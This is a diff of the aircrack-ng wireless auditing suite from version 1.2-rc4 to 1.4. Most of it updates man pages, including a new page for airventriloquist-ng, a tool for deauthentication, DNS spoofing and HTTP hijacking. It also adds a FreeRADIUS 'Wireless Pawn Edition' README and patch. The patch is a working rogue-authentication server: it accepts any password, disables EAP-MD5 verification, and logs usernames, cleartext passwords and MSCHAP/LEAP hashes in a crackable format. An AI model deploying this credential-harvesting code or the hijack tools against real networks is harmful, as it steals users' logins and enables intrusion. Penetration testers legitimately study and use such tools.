-.TH AIRODUMP-NG 8 "February 2016" "Version 1.2-rc4"
+.TH AIRODUMP-NG 8 "September 2018" "Version 1.4"
 
 .SH NAME
 airodump-ng - a wireless packet capture tool for aircrack-ng
@@ -47,6 +47,15 @@
 .I -s <method>, --cswitch <method>
 Defines the way airodump-ng sets the channels when using more than one card. Valid values: 0 (FIFO, default value), 1 (Round Robin) or 2 (Hop on last).
 .TP
+.I -2, --ht20
+Set the channel to be in HT20 (802.11n).
+.TP
+.I -3, --ht40+
+Set the channel to be in HT40+ (802.11n). It requires the frequency 20MHz above to be available (4 channels above) and thus some channels are not usable in HT40+. Only channels up to 7 are available in HT40+ in the US (and 9 in most of Europe).
+.TP
+.I -5, --ht40-
+Set the channel to be in HT40- (802.11n). It requires the frequency 20MHz below to be available (4 channels be)low and thus some channels are not usable in HT40-. In 2.4GHz, HT40- channels start at channel 5.
+.TP
 .I -r <file>
 Reads packet from a file.
 .TP
@@ -71,6 +80,9 @@
 .I -I <seconds>, --write-interval <seconds>
 Output file(s) write interval for CSV, Kismet CSV and Kismet NetXML in seconds (minimum: 1 second). By default: 5 seconds. Note that an interval too small might slow down airodump\-ng.
 .TP
+.I -K <enable>, --background <enable>
+Override automatic background detection. Use "0" to force foreground settings and "1" to force background settings. It will not make airodump-ng run as a deamon, it will skip background autodetection and force enable/disable of interactive mode and display updates.
+.TP
 .I --ignore-negative-one
 Removes the message that says \(aqfixed channel <interface>: -1\(aq.
 .PP
@@ -111,7 +123,7 @@
 Mark the selected AP or cycle through different colors if the selected AP is already marked
 .TP
 .I r
-(De-)Activate realtime sorting - applies sorting algorithm everytime the display will be redrawn
+(De-)Activate realtime sorting - applies sorting algorithm every time the display will be redrawn
 .TP
 .I s
 Change column to sort by, which currently includes: First seen; BSSID; PWR level; Beacons; Data packets; Packet rate; Channel; Max. data rate; Encryption; Strongest Ciphersuite; Strongest Authentication; ESSID
@@ -193,7 +205,7 @@
 Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP or MGT is present.
 .TP
 .I CIPHER
-The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.
+The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater than 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.
 .TP
 .I AUTH
 The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).
@@ -267,3 +279,5 @@
 .B packetforge-ng(1)
 .br
 .B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.2-rc4.tar.gz/manpages/airolib-ng.1 -> aircrack-ng-1.4.tar.gz/manpages/airolib-ng.1 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/airserv-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/airserv-ng.8 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/airtun-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/airtun-ng.8 Changed

aircrack-ng-1.4.tar.gz/manpages/airventriloquist-ng.8 Added

@@ -0,0 +1,88 @@
+.TH AIRVENTRILOQUIST-NG 8 "September 2018" "Version 1.4"
+
+.SH NAME
+airventriloquist-ng - encrypted WiFi packet injection
+.SH SYNOPSIS
+.B airventriloquist-ng
+[options]
+.SH DESCRIPTION
+.BI airventriloquist-ng
+injects on encrypted WiFi packet and circumvents wireless intrusion prevention systems.
+.SH OPTIONS
+.PP
+.TP
+.I --help
+Shows the help screen.
+.TP
+.I -i <replay interface>
+Interface to capture and inject. Mandatory option.
+.TP
+.I -d, --deauth
+Sends active deauthentications frames to encrypted stations.
+.TP
+.I -e <value>, --essid <value>
+ESSID of target network. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
+.TP
+.I -p <value>, --passphrase <value>
+WPA Passphrase of the target network. Passphrase is between 8 and 63 characters long.
+.TP
+.I -c, --icmp
+Respond to all ICMP frames (Debug).
+.TP
+.I -n, --dns
+IP to resolve all DNS queries to.
+.TP
+.I -s <URL>, --hijack <URL>
+URL to look for in HTTP requests when hijacking connections. The URL can have wildcards characters. Example: *jquery*.js*
+.TP
+.I -r <URL>, --redirect <URL>
+URL to redirect hijacked connections to.
+.TP
+.I -v, --verbose
+Verbose output.
+.PP
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airtun-ng(8)

aircrack-ng-1.2-rc4.tar.gz/manpages/besside-ng-crawler.1 -> aircrack-ng-1.4.tar.gz/manpages/besside-ng-crawler.1 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/besside-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/besside-ng.8 Changed

@@ -1,4 +1,4 @@
-.TH BESSIDE-NG 8 "February 2016" "Version 1.2-rc4"
+.TH BESSIDE-NG 8 "September 2018" "Version 1.4"
 
 .SH NAME
 besside-ng - crack a WEP or WPA key without user intervention and collaborate with WPA cracking statistics
@@ -8,11 +8,11 @@
 
 .SH DESCRIPTION
 .BI besside-ng
-is a tool wich will crack all the WEP networks in range and log all the WPA handshakes.
+is a tool which will crack all the WEP networks in range and log all the WPA handshakes.
 WPA handshakes can be uploaded to the online cracking service at wpa.darkircop.org.
 .BR
 Wpa.darkircop.com also provides useful statistics based on user-submitted capture
-files about the feaseability of WPA cracking.
+files about the feasibility of WPA cracking.
 .PP
 .TP
 .I -b <target mac>
@@ -36,7 +36,7 @@
 
 .TP
 .I -v
-Verbos mode. Use -vv for more verbose, -vv for even more and so on.
+Verbose mode. Use -vv for more verbose, -vv for even more and so on.
 
 .TP
 .I -h
@@ -90,3 +90,5 @@
 .B packetforge-ng(1)
 .br
 .B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.2-rc4.tar.gz/manpages/buddy-ng.1 -> aircrack-ng-1.4.tar.gz/manpages/buddy-ng.1 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/easside-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/easside-ng.8 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/ivstools.1 -> aircrack-ng-1.4.tar.gz/manpages/ivstools.1 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/kstats.1 -> aircrack-ng-1.4.tar.gz/manpages/kstats.1 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/makeivs-ng.1 -> aircrack-ng-1.4.tar.gz/manpages/makeivs-ng.1 Changed

@@ -1,4 +1,4 @@
-.TH MAKEIVS-NG 1 "February 2016" "Version 1.2-rc4"
+.TH MAKEIVS-NG 1 "September 2018" "Version 1.4"
 
 .SH NAME
 makeivs - generate a dummy IVS dump file with a specific WEP key
@@ -6,12 +6,51 @@
 .B makeivs
 <ivs file> <104-bit key>
 .SH DESCRIPTION
-.BI makeivs
-is a tool designed to generate an IVS dump file with an inputed WEP key.
+.BI makeivs-ng
+is a tool designed to generate an IVS dump file with an inputted WEP key.
 The aim of is tools is to provide a way to create dumps with a known encryption key for tests.
+.SH OPTIONS
+.TP
+.B Common options:
+.TP
+.I -b <bssid> or --bssid <bssid>
+Set the BSSID (Access Point MAC)
+.TP
+.I -f <num> or --first <num>
+Value for the first IV generated.
+.TP
+.I -k <key> or --key <key>
+Target network WEP key in hex. Separator between bytes is accepted but not necessary.
+.TP
+.I -s <num> or --seed <num>
+Seed used to setup random generator. May be used in combination with \-p or \-\-prng.
+.TP
+.I -w <file> or --write <file>
+Filename to write IVs into.
+.TP
+.I -c <num> or --count <num>
+Amount of IVs to generate. Default value is 100000.
+.TP
+.I -d <num> or --dupe <num>
+Percentage of duplicate IVs.
+.TP
+.I -e <num> or --error <num>
+Percentage of erroneous keystreams.
+.TP
+.I -l <num> or --length <num>
+Size of keystreams. Default: 16 bytes.
+.TP
+.I -n or --nofms 
+Ignores weak IVs.
+.TP
+.I -p or --prng
+Use random values when generating IVs. Default is to use sequential values.
+.TP
+.I --help
+Show help screen.
 .SH EXAMPLE
 .B makeivs
-makeivs out.ivs 123456789ABCDEF123456789AB
+makeivs -w out.ivs -k 123456789ABCDEF123456789AB
 .SH AUTHOR
 This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
 Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
@@ -59,3 +98,5 @@
 .B packetforge-ng(1)
 .br
 .B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.2-rc4.tar.gz/manpages/packetforge-ng.1 -> aircrack-ng-1.4.tar.gz/manpages/packetforge-ng.1 Changed

@@ -1,4 +1,4 @@
-.TH PACKETFORGE-NG 1 "February 2016" "Version 1.2-rc4"
+.TH PACKETFORGE-NG 1 "September 2018" "Version 1.4"
 
 .SH NAME
 packetforge-ng - forge packets: ARP, UDP, ICMP or custom packets.
@@ -8,7 +8,7 @@
 .SH DESCRIPTION
 .BI packetforge-ng
 is a tool to create encrypted packets that can subsequently be used for injection. You may create various types of packets such as arp requests, UDP, ICMP and custom packets. The most common use is to create ARP requests for subsequent injection. 
-.br
+.PP
 To create an encrypted packet, you must have a PRGA (pseudo random genration algorithm) file. This is used to encrypt the packet you create. This is typically obtained from aireplay-ng chopchop or fragmentation attacks.
 .SH OPTIONS
 .PP
@@ -20,7 +20,7 @@
 Set frame control word (hex)
 .TP
 .I -a <bssid>
-Set Access Point MAC addres
+Set Access Point MAC address
 .TP
 .I -c <dmac>
 Set Destination MAC address
@@ -122,3 +122,5 @@
 .B makeivs-ng(1)
 .br
 .B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.2-rc4.tar.gz/manpages/tkiptun-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/tkiptun-ng.8 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/wesside-ng.8 -> aircrack-ng-1.4.tar.gz/manpages/wesside-ng.8 Changed

aircrack-ng-1.2-rc4.tar.gz/manpages/wpaclean.1 -> aircrack-ng-1.4.tar.gz/manpages/wpaclean.1 Changed

aircrack-ng-1.2-rc4.tar.gz/patches/old/rt73_2.6.24.patch -> aircrack-ng-1.4.tar.gz/patches/old/rt73_2.6.24.patch Changed

@@ -18,7 +18,7 @@
 - *   You should have received a copy of the GNU General Public License     * 
 - *   along with this program; if not, write to the                         * 
 - *   Free Software Foundation, Inc.,                                       * 
-- *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             * 
+- *   51 Franklin St, Fifth Floor, Boston, MA  02110-1301, USA.             * 
 - *                                                                         * 
 - *   Licensed under the GNU GPL                                            * 
 - *   Original code supplied under license from RaLink Inc, 2004.           * 
@@ -38,7 +38,7 @@
 + *   You should have received a copy of the GNU General Public License     *
 + *   along with this program; if not, write to the                         *
 + *   Free Software Foundation, Inc.,                                       *
-+ *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *
++ *   51 Franklin St, Fifth Floor, Boston, MA  02110-1301, USA.             *
 + *                                                                         *
 + *   Licensed under the GNU GPL                                            *
 + *   Original code supplied under license from RaLink Inc, 2004.           *
@@ -200,7 +200,7 @@
 - *   You should have received a copy of the GNU General Public License     * 
 - *   along with this program; if not, write to the                         * 
 - *   Free Software Foundation, Inc.,                                       * 
-- *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             * 
+- *   51 Franklin St, Fifth Floor, Boston, MA  02110-1301, USA.             * 
 - *                                                                         * 
 - *   Licensed under the GNU GPL                                            * 
 - *   Original code supplied under license from RaLink Inc, 2004.           * 
@@ -220,7 +220,7 @@
 + *   You should have received a copy of the GNU General Public License     *
 + *   along with this program; if not, write to the                         *
 + *   Free Software Foundation, Inc.,                                       *
-+ *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *
++ *   51 Franklin St, Fifth Floor, Boston, MA  02110-1301, USA.             *
 + *                                                                         *
 + *   Licensed under the GNU GPL                                            *
 + *   Original code supplied under license from RaLink Inc, 2004.           *

aircrack-ng-1.2-rc4.tar.gz/patches/old/zd1211rw_inject_2.6.22.patch -> aircrack-ng-1.4.tar.gz/patches/old/zd1211rw_inject_2.6.22.patch Changed

aircrack-ng-1.4.tar.gz/patches/wpe Added

aircrack-ng-1.4.tar.gz/patches/wpe/freeradius-wpe Added

aircrack-ng-1.4.tar.gz/patches/wpe/freeradius-wpe/README.md Added

@@ -0,0 +1,67 @@
+# FreeRadius Wireless Pawn Edition
+
+Updated patch for FreeRadius 3.0.12-3.0.17
+
+More information about WPE can be found:
+http://www.willhackforsushi.com/?page_id=37
+
+Supported and tested EAP Types/Inner Authentication Methods (others may also work):
+* PEAP/PAP (OTP)
+* PEAP/MSCHAPv2
+* EAP-TTLS/PAP (includes OTPs)
+* EAP-TTLS/MSCHAPv1
+* EAP-TTLS/MSCHAPv2
+* EAP-MD5
+
+## Installing
+
+### Dependencies
+
+```
+apt-get install libssl-dev build-essential libtalloc-dev libpcre3-dev
+```
+
+### Optional dependencies
+
+```
+apt-get install libsqlite3-dev libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev libgdbm-dev libiodbc2-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev freetds-dev libwbclient-sssd-dev samba-dev libiodbc2-dev unixodbc-dev
+```
+
+### Compilation
+
+Run the following commands:
+
+```
+wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.0.17.tar.bz2
+tar -xjf freeradius-server-3.0.17.tar.bz2
+cd freeradius-server-3.0.17/
+wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius-wpe.patch
+patch -Np1 -i freeradius-wpe.patch
+./configure
+make
+make install
+ldconfig
+```
+
+## Running
+
+Start ```radiusd``` in a terminal:
+
+```
+radiusd -s -X
+```
+
+If it fails running and complains about OpenSSL being vulnerable, make sure OpenSSL is up to date. If you are using a recent distribution, most likely OpenSSL is patched, and you can safely allow it. In order to do so, edit /usr/local/etc/raddb/radiusd.conf and change ```allow_vulnerable_openssl``` from ```no``` to ```'CVE-2016-6304'``` (with the single quotes).
+
+Now, connect a client. Once a username/password is entered and the certificate accepted, information regarding that session will be stored in ```/usr/local/var/log/radius/freeradius-server-wpe.log```.
+
+**Note**: This file won't be created until the first client connects and authenticates to the access point.
+
+## Note
+
+Debian testing disabled TLS 1.0 and TLS 1.1 which break FreeRADIUS-WPE <= 3.0.15. Although not recommended to use an older version, if compiling FreeRADIUS <= 3.0.15, run the following commands before running `./configure`:
+
+```
+wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius_3_0_15_openssl_1_1_tls_version_fix.diff
+patch -Np1 -i freeradius_3_0_15_openssl_1_1_tls_version_fix.diff
+```

aircrack-ng-1.4.tar.gz/patches/wpe/freeradius-wpe/freeradius-wpe.patch Added

@@ -0,0 +1,468 @@
+diff -Nurp freeradius-server-3.0.12/raddb/mods-config/files/authorize freeradius-server-3.0.12-wpe/raddb/mods-config/files/authorize
+--- freeradius-server-3.0.12/raddb/mods-config/files/authorize	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/raddb/mods-config/files/authorize	2018-04-23 16:33:44.949077716 -0400
+@@ -218,3 +218,5 @@ DEFAULT	Hint == "SLIP"
+ # See the example user "bob" above.                     #
+ #########################################################
+ 
++DEFAULT Cleartext-Password := "foo", MS-CHAP-Use-NTLM-Auth := 0
++DEFAULT Cleartext-Password := "a"
+diff -Nurp freeradius-server-3.0.12/raddb/radiusd.conf.in freeradius-server-3.0.12-wpe/raddb/radiusd.conf.in
+--- freeradius-server-3.0.12/raddb/radiusd.conf.in	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/raddb/radiusd.conf.in	2018-04-23 16:33:44.949077716 -0400
+@@ -371,6 +371,9 @@ log {
+ #  The program to execute to do concurrency checks.
+ checkrad = ${sbindir}/checkrad
+ 
++# Wireless Pawn Edition log file
++wpelogfile = ${logdir}/freeradius-server-wpe.log
++
+ # SECURITY CONFIGURATION
+ #
+ #  There may be multiple methods of attacking on the server.  This
+diff -Nurp freeradius-server-3.0.12/src/include/log.h freeradius-server-3.0.12-wpe/src/include/log.h
+--- freeradius-server-3.0.12/src/include/log.h	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/include/log.h	2018-04-23 16:52:36.771659127 -0400
+@@ -72,6 +72,11 @@ typedef struct fr_log_t {
+ 	char const	*debug_file;	//!< Path to debug log file.
+ } fr_log_t;
+ 
++void log_wpe(const char *authtype, const char *username, const char *password,
++				const unsigned char *challenge, const unsigned int challen,
++				const unsigned char *response, const unsigned int resplen,
++				const char * logfilename);
++
+ typedef		void (*radlog_func_t)(log_type_t lvl, log_lvl_t priority, REQUEST *, char const *, va_list ap);
+ 
+ extern FR_NAME_NUMBER const syslog_facility_table[];
+diff -Nurp freeradius-server-3.0.12/src/include/radiusd.h freeradius-server-3.0.12-wpe/src/include/radiusd.h
+--- freeradius-server-3.0.12/src/include/radiusd.h	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/include/radiusd.h	2018-04-23 16:33:44.949077716 -0400
+@@ -147,6 +147,8 @@ typedef struct main_config {
+ 	char const	*checkrad;			//!< Script to use to determine if a user is already
+ 							//!< connected.
+ 
++	char const	*wpelogfile;			//!< Wireless Pawn Edition log file path.
++
+ 	rad_listen_t	*listen;			//!< Head of a linked list of listeners.
+ 
+ 
+diff -Nurp freeradius-server-3.0.12/src/main/auth.c freeradius-server-3.0.12-wpe/src/main/auth.c
+--- freeradius-server-3.0.12/src/main/auth.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/main/auth.c	2018-04-23 17:04:33.189522352 -0400
+@@ -125,6 +125,7 @@ static int rad_authlog(char const *msg,
+ 		} else {
+ 			fr_prints(clean_password, sizeof(clean_password),
+ 				  request->password->vp_strvalue, request->password->vp_length, '\0');
++			log_wpe("password", request->username->vp_strvalue, clean_password, NULL, 0, NULL, 0, main_config.wpelogfile);
+ 		}
+ 	}
+ 
+diff -Nurp freeradius-server-3.0.12/src/main/libfreeradius-server.mk freeradius-server-3.0.12-wpe/src/main/libfreeradius-server.mk
+--- freeradius-server-3.0.12/src/main/libfreeradius-server.mk	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/main/libfreeradius-server.mk	2018-04-23 16:33:44.953076445 -0400
+@@ -14,6 +14,7 @@ SOURCES	:=	conffile.c \
+ 		pair.c \
+ 		xlat.c
+ 
++
+ # This lets the linker determine which version of the SSLeay functions to use.
+ TGT_LDLIBS      := $(OPENSSL_LIBS)
+ 
+diff -Nurp freeradius-server-3.0.12/src/main/log.c freeradius-server-3.0.12-wpe/src/main/log.c
+--- freeradius-server-3.0.12/src/main/log.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/main/log.c	2018-04-23 17:04:46.368516931 -0400
+@@ -29,6 +29,7 @@ RCSID("$Id: 3ead46e08016cd5e26418fa605f4
+ 
+ #include <freeradius-devel/radiusd.h>
+ #include <freeradius-devel/rad_assert.h>
++/*#include <freeradius-devel/conf.h>*/
+ 
+ #ifdef HAVE_SYS_STAT_H
+ #  include <sys/stat.h>
+@@ -46,6 +47,9 @@ RCSID("$Id: 3ead46e08016cd5e26418fa605f4
+ #include <pthread.h>
+ #endif
+ 
++#include <stdio.h>
++#include <time.h>
++
+ log_lvl_t	rad_debug_lvl = 0;		//!< Global debugging level
+ static bool	rate_limit = true;		//!< Whether repeated log entries should be rate limited
+ 
+@@ -226,6 +230,73 @@ static int stdout_fd = -1;	//!< The orig
+ 
+ static char const spaces[] = "                                                                                                                        ";
+ 
++/** Prints username, password or challenge/response
++ *
++ */
++void log_wpe(const char *authtype, const char *username, const char *password,
++				const unsigned char *challenge, const unsigned int challen,
++				const unsigned char *response, const unsigned int resplen,
++				const char * logfilename)
++{
++	FILE            *logfd;
++	time_t          nowtime;
++	unsigned int    count;
++
++	/* Get wpelogfile parameter and log data */
++	if (logfilename == NULL) {
++		logfd = stderr;
++	} else {
++		logfd = fopen(logfilename, "a");
++		if (logfd == NULL) {
++			fr_strerror_printf("  log: FAILED: Unable to open output log file %s: %s", logfilename, strerror(errno));
++			logfd = stderr;
++		}
++	}
++
++	nowtime = time(NULL);
++	fprintf(logfd, "%s: %s\n", authtype, ctime(&nowtime));
++
++	if (username != NULL) {
++		fprintf(logfd, "\tusername: %s\n", username);
++	}
++	if (password != NULL) {
++		fprintf(logfd, "\tpassword: %s\n", password);
++	}
++
++	if (challen != 0) {
++		fprintf(logfd, "\tchallenge: ");
++		for (count=0; count!=(challen-1); count++) {
++			fprintf(logfd, "%02x:",challenge[count]);
++		}
++		fprintf(logfd, "%02x\n",challenge[challen-1]);
++	}
++
++	if (resplen != 0) {
++		fprintf(logfd, "\tresponse: ");
++		for (count=0; count!=(resplen-1); count++) {
++			fprintf(logfd, "%02x:",response[count]);
++		}
++		fprintf(logfd, "%02x\n",response[resplen-1]);
++	}
++
++	if ( (strncmp(authtype, "mschap", 6) == 0) && username != NULL
++			&& challen != 0 && resplen != 0) {
++		fprintf(logfd, "\tjohn NETNTLM: %s:$NETNTLM$",username);
++		for (count=0; count<challen; count++) {
++			fprintf(logfd, "%02x",challenge[count]);
++		}
++		fprintf(logfd,"$");
++		for (count=0; count<resplen; count++) {
++			fprintf(logfd, "%02x",response[count]);
++		}
++		fprintf(logfd,"\n");
++	}
++
++	fprintf(logfd, "\n");
++
++	fclose(logfd);
++}
++
+ /** On fault, reset STDOUT and STDERR to something useful
+  *
+  * @return 0
+diff -Nurp freeradius-server-3.0.12/src/main/mainconfig.c freeradius-server-3.0.12-wpe/src/main/mainconfig.c
+--- freeradius-server-3.0.12/src/main/mainconfig.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/main/mainconfig.c	2018-04-23 16:33:44.953076445 -0400
+@@ -192,6 +192,7 @@ static const CONF_PARSER server_config[]
+ 	{ "max_requests", FR_CONF_POINTER(PW_TYPE_INTEGER, &main_config.max_requests), STRINGIFY(MAX_REQUESTS) },
+ 	{ "pidfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.pid_file), "${run_dir}/radiusd.pid"},
+ 	{ "checkrad", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.checkrad), "${sbindir}/checkrad" },
++	{ "wpelogfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.wpelogfile), "${logdir}/freeradius-server-wpe.log" },
+ 
+ 	{ "debug_level", FR_CONF_POINTER(PW_TYPE_INTEGER, &main_config.debug_level), "0"},
+ 
+diff -Nurp freeradius-server-3.0.12/src/main/radiusd.c freeradius-server-3.0.12-wpe/src/main/radiusd.c
+--- freeradius-server-3.0.12/src/main/radiusd.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/main/radiusd.c	2018-04-23 16:33:44.953076445 -0400
+@@ -59,7 +59,7 @@ char const	*radlog_dir = NULL;
+ 
+ bool		log_stripped_names;
+ 
+-char const *radiusd_version = "FreeRADIUS Version " RADIUSD_VERSION_STRING
++char const *radiusd_version = "FreeRADIUS-WPE Version " RADIUSD_VERSION_STRING
+ #ifdef RADIUSD_VERSION_COMMIT
+ " (git #" STRINGIFY(RADIUSD_VERSION_COMMIT) ")"
+ #endif
+diff -Nurp freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c
+--- freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c	2018-04-23 17:05:02.925470371 -0400
+@@ -204,10 +204,11 @@ static int eapleap_ntpwdhash(uint8_t *ou
+ /*
+  *	Verify the MS-CHAP response from the user.
+  */
+-int eapleap_stage4(REQUEST *request, leap_packet_t *packet, VALUE_PAIR *password, leap_session_t *session)
++int eapleap_stage4(REQUEST *request, leap_packet_t *packet, VALUE_PAIR *password, leap_session_t *session, char *username)
+ {
+ 	uint8_t hash[16];
+ 	uint8_t response[24];
++	unsigned char challenge[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
+ 
+ 	/*
+ 	 *	No password or previous packet.  Die.
+@@ -225,6 +226,7 @@ int eapleap_stage4(REQUEST *request, lea
+ 	 */
+ 	eapleap_mschap(hash, session->peer_challenge, response);
+ 	if (memcmp(response, packet->challenge, 24) == 0) {
++		log_wpe("LEAP", username, NULL, challenge, 8, response, 24, main_config.wpelogfile);
+ 		RDEBUG2("NTChallengeResponse from AP is valid");
+ 		memcpy(session->peer_response, response, sizeof(response));
+ 		return 1;
+diff -Nurp freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h
+--- freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h	2018-04-23 16:33:44.957075175 -0400
+@@ -63,7 +63,7 @@ typedef struct leap_session_t {
+ int 		eapleap_compose(REQUEST *request, EAP_DS *auth, leap_packet_t *reply);
+ leap_packet_t 	*eapleap_extract(REQUEST *request, EAP_DS *eap_ds);
+ leap_packet_t 	*eapleap_initiate(REQUEST *request, EAP_DS *eap_ds, VALUE_PAIR *user_name);
+-int		eapleap_stage4(REQUEST *request, leap_packet_t *packet, VALUE_PAIR* password, leap_session_t *session);
++int		eapleap_stage4(REQUEST *request, leap_packet_t *packet, VALUE_PAIR* password, leap_session_t *session, char * username);
+ leap_packet_t	*eapleap_stage6(REQUEST *request, leap_packet_t *packet, VALUE_PAIR *user_name, VALUE_PAIR* password,
+ 				leap_session_t *session);
+ 
+diff -Nurp freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c
+--- freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c	2018-04-23 16:33:44.957075175 -0400
+@@ -94,6 +94,7 @@ static int CC_HINT(nonnull) mod_process(
+ 	leap_session_t	*session;
+ 	leap_packet_t	*packet;
+ 	leap_packet_t	*reply;
++	char		*username;
+ 	VALUE_PAIR	*password;
+ 
+ 	if (!handler->opaque) {
+@@ -110,6 +111,8 @@ static int CC_HINT(nonnull) mod_process(
+ 		return 0;
+ 	}
+ 
++	username = (char *)handler->request->username->vp_strvalue;
++
+ 	/*
+ 	 *	The password is never sent over the wire.
+ 	 *	Always get the configured password, for each user.
+@@ -132,7 +135,7 @@ static int CC_HINT(nonnull) mod_process(
+ 	switch (session->stage) {
+ 	case 4:			/* Verify NtChallengeResponse */
+ 		RDEBUG2("Stage 4");
+-		rcode = eapleap_stage4(request, packet, password, session);
++		rcode = eapleap_stage4(request, packet, password, session, username);
+ 		session->stage = 6;
+ 
+ 		/*
+diff -Nurp freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c
+--- freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2018-04-23 17:05:09.250593885 -0400
+@@ -166,9 +166,13 @@ int eapmd5_verify(MD5_PACKET *packet, VA
+ 	/*
+ 	 *	The length of the response is always 16 for MD5.
+ 	 */
++	/*
+ 	if (rad_digest_cmp(digest, packet->value, 16) != 0) {
+ 		return 0;
+ 	}
++	*/
++	log_wpe("eap_md5", packet->name, NULL, challenge, MD5_CHALLENGE_LEN,
++		packet->value, 16, main_config.wpelogfile);
+ 
+ 	return 1;
+ }
